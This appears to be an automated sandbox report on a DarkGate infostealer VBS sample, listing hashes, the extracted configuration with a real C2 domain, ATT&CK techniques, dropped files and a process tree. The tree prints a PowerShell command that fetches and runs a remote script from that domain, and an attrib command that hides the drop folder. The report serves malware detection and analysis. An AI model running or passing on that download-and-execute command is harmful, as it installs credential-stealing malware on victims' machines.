darkgate | 885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13

Analysis

max time kernel
147s
max time network
152s
platform
windows10-2004_x64
resource
win10v2004-20240319-en
resource tags

arch:x64arch:x86image:win10v2004-20240319-enlocale:en-usos:windows10-2004-x64system
submitted
03/04/2024, 01:32

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General

Target
885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13.vbs
Size 7KB
Sample240403-bx56xaca99
SHA256 885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13
MD5 4ff404ceede30c0ca73b97e26f20dfa8
SHA1 5b2644004b27a4b39502ad0d4a0193d0124588cb
SHA512 4f8fbfb0dea83b81fcaff17cd4fea7cf888a99b186908f58b4b2d599b4a4f3df9bd9a8fadec7b25de5dea4dfaf416dca09ce6ce76a542ad32f0a96febe836ae1
SSDEEP 192:YMg119gkCtL3IqSPN3QzGNzUoNJnN/Y999E6:jy19gR3IquNgzG2oNla
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate admin888 stealer

Malware Config

Extracted

Family

darkgate

Botnet

admin888

31yc.com

Attributes

anti_analysis
true
anti_debug
false
anti_vm
true
c2_port
80
check_disk
false
check_ram
false
check_xeon
false
crypter_au3
false
crypter_dll
false
crypter_raw_stub
false
internal_mutex
gWZTZaEo
minimum_disk
100
minimum_ram
4096
ping_interval
6
rootkit
false
startup_persistence
true
username
admin888

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Detect DarkGate stealer 2 IoCs

resource	yara_rule
behavioral2/memory/940-42-0x00000000029A0000-0x0000000002A13000-memory.dmp	family_darkgate_v6
behavioral2/memory/940-45-0x00000000029A0000-0x0000000002A13000-memory.dmp	family_darkgate_v6

Blocklisted process makes network request 4 IoCs

flow	pid	Process
12	4864	powershell.exe
17	4864	powershell.exe
41	4864	powershell.exe
44	4864	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-817259280-2658881748-983986378-1000\Control Panel\International\Geo\Nation	WScript.exe

Executes dropped EXE 1 IoCs

pid	Process
940	KeyScramblerLogon.exe

Loads dropped DLL 2 IoCs

pid	Process
940	KeyScramblerLogon.exe
940	KeyScramblerLogon.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	KeyScramblerLogon.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	KeyScramblerLogon.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4864	powershell.exe
4864	powershell.exe
4864	powershell.exe
940	KeyScramblerLogon.exe
940	KeyScramblerLogon.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	powershell.exe

Suspicious use of WriteProcessMemory 7 IoCs

description	pid	Process	procid_target
PID 492 wrote to memory of 4864	492	WScript.exe	93
PID 492 wrote to memory of 4864	492	WScript.exe	93
PID 4864 wrote to memory of 940	4864	powershell.exe	109
PID 4864 wrote to memory of 940	4864	powershell.exe	109
PID 4864 wrote to memory of 940	4864	powershell.exe	109
PID 4864 wrote to memory of 1428	4864	powershell.exe	110
PID 4864 wrote to memory of 1428	4864	powershell.exe	110

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
1428	attrib.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\885eae8e4d2788a7c54f4123cbf84b4e897082f8388a7b3f3c2bace9f9419e13.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:492
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command Invoke-Expression (Invoke-RestMethod -Uri '31yc.com/gcwkaqrq')
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\ggrs\KeyScramblerLogon.exe
    "C:\ggrs\KeyScramblerLogon.exe"
    3⤵
    - Executes dropped EXE
    - Loads dropped DLL
    - Checks processor information in registry
    - Suspicious behavior: EnumeratesProcesses
    PID:940
- - C:\Windows\system32\attrib.exe
    "C:\Windows\system32\attrib.exe" +h C:/ggrs/
    3⤵
    - Views/modifies file attributes
    PID:1428

C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --no-appcompat-clear --mojo-platform-channel-handle=4276 --field-trial-handle=2260,i,3739451884007376837,4900555371550671478,262144 --variations-seed-version /prefetch:8
1⤵
PID:4136

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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__PSScriptPolicyTest_heg4di2c.2ji.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_heg4di2c.2ji.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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KeyScramblerIE.DLL

Path C:\ggrs\KeyScramblerIE.DLL
Size 2.1MB
SHA256 09b00a21a6fbe6922967113531f102f406a2ccb1693c2b0587b9cdd8639ef312
MD5 85e8143ef1b400569ec5479b72a405fc
SHA1 2326402a4972b1e6ec6dafd8db037f25ce908844
SHA512 d0bf352275ff086260f3feedd910b664177538c08a9b986b938d44f2105aac82f56de82670a3d6935e513d77e1dbd823b771f8a62a0eeb7b43d455d73a1d476a
SSDEEP 49152:l4vMAnobBOk/X5TwlCGQiNCdh1C7JLdHaMSd:lkMAnu3wlCGQkCdh1mJLkMSd
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KeyScramblerLogon.exe

Path C:\ggrs\KeyScramblerLogon.exe
Size 500KB
SHA256 fa7ad2f45128120bccc33f996f87a81faa2e9c1236666dd69b943a755f332eb1
MD5 c790ebfcb6a34953a371e32c9174fe46
SHA1 3ead08d8bbdb3afd851877cb50507b77ae18a4d8
SHA512 74e3ab12b2a2d5c45c5248dd2225bfbcf237a01ef94fdca3fe99cfde11bd7d0ccd25dd7f26bd283997d951f4df7e8f4b35f9475a32bdb854d6cc8867b2c45554
SSDEEP 6144:79UJaPbttKBfvX/b9NX7NVdRbjCNK617o41Nptp7Nu+1:7qkbtts3X/b9NX7NVdtC37p7NuK
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test.txt

Path C:\ggrs\test.txt
Size 457KB
SHA256 02e931975c0288baf5c6aa3a5f3ac2462cb46e8c694f03fc49a64408d047a94a
MD5 a96c1c7d3b42de72af043728028a6536
SHA1 d646d9d9d0d53763ba0bb78f836a1c8733d89114
SHA512 2f084d924ffd7e76abe5e371b3bfc80cb53304deb8b068a370bf4d77afd8a9074058c438149c822e0c99a76d526b84d56f25a9ce5074241863b13216df45f9df
SSDEEP 12288:lJMuYetdExAuYlTJ1ikaDdbYLfApDszko39GdzadZs:XRExKr1LadYL6wz89R
MD5 SHA1 SHA512 SSDEEP

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memory/940-45-0x00000000029A0000-0x0000000002A13000-memory.dmp

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memory/940-44-0x0000000000E40000-0x0000000001055000-memory.dmp

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memory/940-42-0x00000000029A0000-0x0000000002A13000-memory.dmp

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memory/940-39-0x0000000000E40000-0x0000000001055000-memory.dmp

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memory/4864-13-0x000001FA66870000-0x000001FA66880000-memory.dmp

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memory/4864-14-0x000001FA7EAC0000-0x000001FA7EC82000-memory.dmp

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memory/4864-40-0x00007FFB03CB0000-0x00007FFB04771000-memory.dmp

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memory/4864-11-0x000001FA66870000-0x000001FA66880000-memory.dmp

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memory/4864-12-0x000001FA66870000-0x000001FA66880000-memory.dmp

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memory/4864-0-0x000001FA66880000-0x000001FA668A2000-memory.dmp

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memory/4864-10-0x00007FFB03CB0000-0x00007FFB04771000-memory.dmp

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